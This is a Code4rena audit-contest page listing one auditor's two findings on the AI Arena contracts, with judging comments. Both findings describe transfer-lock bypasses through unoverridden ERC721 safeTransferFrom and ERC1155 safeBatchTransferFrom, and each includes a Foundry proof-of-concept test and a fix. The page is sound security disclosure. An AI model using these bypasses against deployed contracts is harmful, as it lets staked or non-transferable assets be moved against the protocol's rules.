Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 268/283
Findings: 2
Award: $0.10
π Selected for report: 0
π Solo Findings: 0
π Selected for report: CodeWasp
Also found by: 0x13, 0xAlix2, 0xAsen, 0xCiphky, 0xE1, 0xLogos, 0xaghas, 0xlemon, 0xlyov, 0xvj, ADM, Aamir, BARW, Bauchibred, DMoore, DanielArmstrong, Draiakoo, Fulum, GhK3Ndf, Josh4324, Kalogerone, KmanOfficial, Krace, KupiaSec, Limbooo, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Tendency, _eperezok, adam-idarrha, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, c0pp3rscr3w3r, cartlex_, cats, d3e4, deadrxsezzz, denzi_, devblixt, dimulski, erosjohn, evmboi32, fnanni, grearlake, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, juancito, klau5, korok, ktg, ladboy233, matejdb, merlinboii, novamanbg, nuthan2x, oualidpro, peanuts, petro_1912, pkqs90, pynschon, radev_sw, rouhsamad, sashik_eth, shaka, sobieski, soliditywala, stackachu, tallo, thank_you, ubl4nk, vnavascues, web3pwn, xchen1130, zhaojohnson
0.1044 USDC - $0.10
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L539-L544 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L355-L365 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L338-L348
FighterFarm derives from ERC721 and override transferFrom
and safeTransferFrom
function, which ensure that FighterFarm can only be transferred if _ableToTransfer
returns true.
However, below safeTransferFrom
is not override in FighterFarm to add this check.
/** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner nor approved"); _safeTransfer(from, to, tokenId, data); }
So that malicious user can use this function to transfer FighterFarm even if _ableToTransfer
returns false, which means that staked FighterFarm can be transferred and malicious can own more than MAX_FIGHTERS_ALLOWED
FighterFarm.
malicious user can use safeTransferFrom
to transfer FighterFarm with _ableToTransfer
returns false, see below code:
staked FighterFarm can be transferred.
function testTransferringFighter() public { _mintFromMergingPool(_ownerAddress); _fighterFarmContract.addStaker(_ownerAddress); _fighterFarmContract.updateFighterStaking(0, true); assertEq(_fighterFarmContract.fighterStaked(0), true); // check that i'm unable to transfer since i staked vm.expectRevert(); _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // we can bypass check _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); }
User can own more than MAX_FIGHTERS_ALLOWED
FighterFarm
function testTransferringFighter() public { _mintFromMergingPool(_ownerAddress); for(uint256 i = 0; i < 10; i++) { _mintFromMergingPool(_DELEGATED_ADDRESS); } // check that unable to transfer since reaches 10 vm.expectRevert(); _fighterFarmContract.transferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0); assertEq(_fighterFarmContract.ownerOf(0) != _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress); // we can bypass check _fighterFarmContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, ""); assertEq(_fighterFarmContract.ownerOf(0) == _DELEGATED_ADDRESS, true); assertEq(_fighterFarmContract.ownerOf(0), _DELEGATED_ADDRESS); assertEq(_fighterFarmContract.balanceOf(_DELEGATED_ADDRESS), 11); }
Manual Review and Foundry
Override function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory data )
to add _ableToTransfer
check
Token-Transfer
#0 - c4-pre-sort
2024-02-23T04:23:53Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-23T04:24:11Z
raymondfam marked the issue as duplicate of #54
#2 - c4-pre-sort
2024-02-23T04:47:10Z
raymondfam marked the issue as duplicate of #739
#3 - c4-pre-sort
2024-02-23T04:50:54Z
raymondfam marked the issue as sufficient quality report
#4 - c4-judge
2024-03-11T02:35:51Z
HickupHH3 marked the issue as satisfactory
π Selected for report: Aamir
Also found by: 0rpse, 0x11singh99, 0x13, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xE1, 0xKowalski, 0xLogos, 0xWallSecurity, 0xaghas, 0xbranded, 0xlemon, 0xlyov, 0xpoor4ever, 0xprinc, 0xvj, ADM, Aymen0909, BARW, Bauchibred, Breeje, CodeWasp, DMoore, DeFiHackLabs, Draiakoo, Fulum, GhK3Ndf, Greed, Jorgect, Josh4324, Kalogerone, KmanOfficial, Krace, Limbooo, McToady, MidgarAudits, MrPotatoMagic, PedroZurdo, Pelz, Ryonen, SovaSlava, SpicyMeatball, Tendency, Timenov, ZanyBonzy, _eperezok, al88nsk, alexxander, alexzoid, aslanbek, blutorque, btk, cartlex_, cats, csanuragjain, deadrxsezzz, denzi_, devblixt, dimulski, djxploit, erosjohn, evmboi32, fnanni, grearlake, haxatron, hulkvision, immeas, israeladelaja, jaydhales, jesjupyter, jnforja, josephdara, juancito, kiqo, klau5, korok, krikolkk, ktg, kutugu, ladboy233, lil_eth, m4ttm, matejdb, merlinboii, n0kto, ni8mare, novamanbg, nuthan2x, oualidpro, pa6kuda, peter, petro_1912, pkqs90, pynschon, sandy, sashik_eth, shaflow2, shaka, sobieski, soliditywala, solmaxis69, stackachu, tallo, thank_you, tpiliposian, ubl4nk, visualbits, vnavascues, web3pwn, xchen1130, zhaojohnson
0.0037 USDC - $0.00
https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L35-L42 https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L291-L303
GameItems derives from ERC1155 and override safeTransferFrom
function, which ensure that GameItems can only be transfered if allGameItemAttributes[tokenId].transferable
is true.
However, safeBatchTransferFrom
is not override in GameItems to add this check, so that malicious user can use this function to transfer GameItems even if allGameItemAttributes[tokenId].transferable
is false.
malicious user can use safeBatchTransferFrom
to transfer GameItems with transferable == false
, see below code:
function testSafeTransferFrom() public { _fundUserWith4kNeuronByTreasury(_ownerAddress); _gameItemsContract.mint(0, 1); _gameItemsContract.adjustTransferability(0, false); // safeTransferFrom can't transfer if allGameItemAttributes[tokenId].transferable == false vm.expectRevert(); _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, ""); uint256[] memory ids = new uint256[](1); ids[0] = 0; uint256[] memory amounts = new uint256[](1); amounts[0] = 1; bytes memory data = new bytes(1); data[0] = ""; // safeBatchTransferFrom can still do the transfer _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, data); assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1); assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0); }
Manual Review and Foundry
Override safeBatchTransferFrom
to add allGameItemAttributes[tokenId].transferable
check
Token-Transfer
#0 - c4-pre-sort
2024-02-22T03:34:01Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-22T03:34:13Z
raymondfam marked the issue as duplicate of #18
#2 - c4-pre-sort
2024-02-26T00:27:22Z
raymondfam marked the issue as duplicate of #575
#3 - c4-judge
2024-03-05T04:47:39Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-05T04:51:18Z
HickupHH3 marked the issue as satisfactory